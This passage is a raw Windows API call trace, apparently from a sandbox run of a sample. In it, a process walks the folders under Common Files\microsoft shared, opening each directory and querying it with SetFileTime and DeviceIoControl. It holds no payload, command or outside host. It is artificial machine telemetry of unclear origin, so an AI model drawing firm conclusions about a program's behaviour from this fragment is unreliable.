lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20373182, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x20373182, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xb964aac0, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="pencht.dll", cAlternateFileName="")) returned 1 [0087.135] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x203992e1, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x203992e1, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xb964aac0, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="penjpn.dll", cAlternateFileName="")) returned 1 [0087.135] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x203bf440, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x203bf440, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xb964aac0, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="penkor.dll", cAlternateFileName="")) returned 1 [0087.135] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x203bf440, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x203bf440, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xb96965b0, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="penusa.dll", cAlternateFileName="")) returned 1 [0087.135] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fa13b21, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x1fa13b21, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xba4df950, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x14c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pipanel.dll", cAlternateFileName="")) returned 1 [0087.135] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fda5c09, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x1fda5c09, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x6f4de180, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pipanel.exe", cAlternateFileName="")) returned 1 [0087.135] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2043185d, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x2043185d, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xbae186c0, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="pipres.dll", cAlternateFileName="")) returned 1 [0087.135] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2612d14c, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x2612d14c, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xadc05c90, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1ee00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1 [0087.136] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2040b6fe, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x2040b6fe, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe2234520, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="skchobj.dll", cAlternateFileName="")) returned 1 [0087.136] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2043185d, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x2043185d, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe2234520, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="skchui.dll", cAlternateFileName="")) returned 1 [0087.136] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f5c335e, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x1f5c335e, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x7764cdc0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabTip32.exe", cAlternateFileName="")) returned 1 [0087.136] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37da0ed4, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x37da0ed4, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xaf635e30, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x55000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tiptsf.dll", cAlternateFileName="")) returned 1 [0087.136] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x232762c6, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x232762c6, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xaf6cd410, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tpcps.dll", cAlternateFileName="")) returned 1 [0087.136] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x232762c6, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x232762c6, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xaf6cd410, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tpcps.dll", cAlternateFileName="")) returned 0 [0087.136] GetLastError () returned 0x12 [0087.136] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.136] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0087.136] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0087.137] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.137] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSEnv", cAlternateFileName="")) returned 1 [0087.137] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.137] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\msenv"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.138] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\msenv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0087.138] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0087.138] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1322698 [0087.139] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1322698, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1322698, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0087.139] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1322698) returned 1 [0087.139] NtClose (Handle=0x180) returned 0x0 [0087.139] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.139] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.139] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.140] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.140] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e91c0 [0087.140] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.140] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublicAssemblies", cAlternateFileName="")) returned 1 [0087.140] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublicAssemblies", cAlternateFileName="")) returned 0 [0087.140] GetLastError () returned 0x12 [0087.140] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9000 [0087.140] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0087.140] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.140] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublicAssemblies", cAlternateFileName="")) returned 1 [0087.140] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0087.141] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.141] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13029c8 [0087.141] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\msenv\\publicassemblies"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.142] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\msenv\\publicassemblies"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0087.142] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0087.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1322698 [0087.143] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1322698, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1322698, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0087.143] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1322698) returned 1 [0087.143] NtClose (Handle=0x180) returned 0x0 [0087.143] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13029c8) returned 1 [0087.143] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.143] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.144] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13029c8 [0087.144] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.144] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13028c0 [0087.144] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0087.144] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.144] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b285700, ftCreationTime.dwHighDateTime=0x1c9db17, ftLastAccessTime.dwLowDateTime=0x522dc930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b285700, ftLastWriteTime.dwHighDateTime=0x1c9db17, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="extensibility.dll", cAlternateFileName="")) returned 1 [0087.144] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.145] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.145] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.145] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.145] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.146] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.146] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b285700, ftCreationTime.dwHighDateTime=0x1c9db17, ftLastAccessTime.dwLowDateTime=0x522dc930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b285700, ftLastWriteTime.dwHighDateTime=0x1c9db17, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="extensibility.dll", cAlternateFileName="")) returned 0 [0087.146] GetLastError () returned 0x12 [0087.146] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0087.146] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0087.146] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.146] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b285700, ftCreationTime.dwHighDateTime=0x1c9db17, ftLastAccessTime.dwLowDateTime=0x522dc930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b285700, ftLastWriteTime.dwHighDateTime=0x1c9db17, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="extensibility.dll", cAlternateFileName="")) returned 1 [0087.146] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b285700, ftCreationTime.dwHighDateTime=0x1c9db17, ftLastAccessTime.dwLowDateTime=0x522dc930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b285700, ftLastWriteTime.dwHighDateTime=0x1c9db17, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="extensibility.dll", cAlternateFileName="")) returned 0 [0087.146] GetLastError () returned 0x12 [0087.146] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13028c0) returned 1 [0087.146] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0087.147] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.147] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13029c8) returned 1 [0087.147] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublicAssemblies", cAlternateFileName="")) returned 0 [0087.147] GetLastError () returned 0x12 [0087.147] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.147] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0087.148] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0087.148] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.148] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0087.148] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.148] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\msinfo"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.149] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\msinfo"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0087.149] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0087.149] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1322698 [0087.150] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1322698, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1322698, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0087.150] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1322698) returned 1 [0087.150] NtClose (Handle=0x124) returned 0x0 [0087.150] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.150] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.150] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.151] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.151] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9000 [0087.151] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.151] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22894196, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, 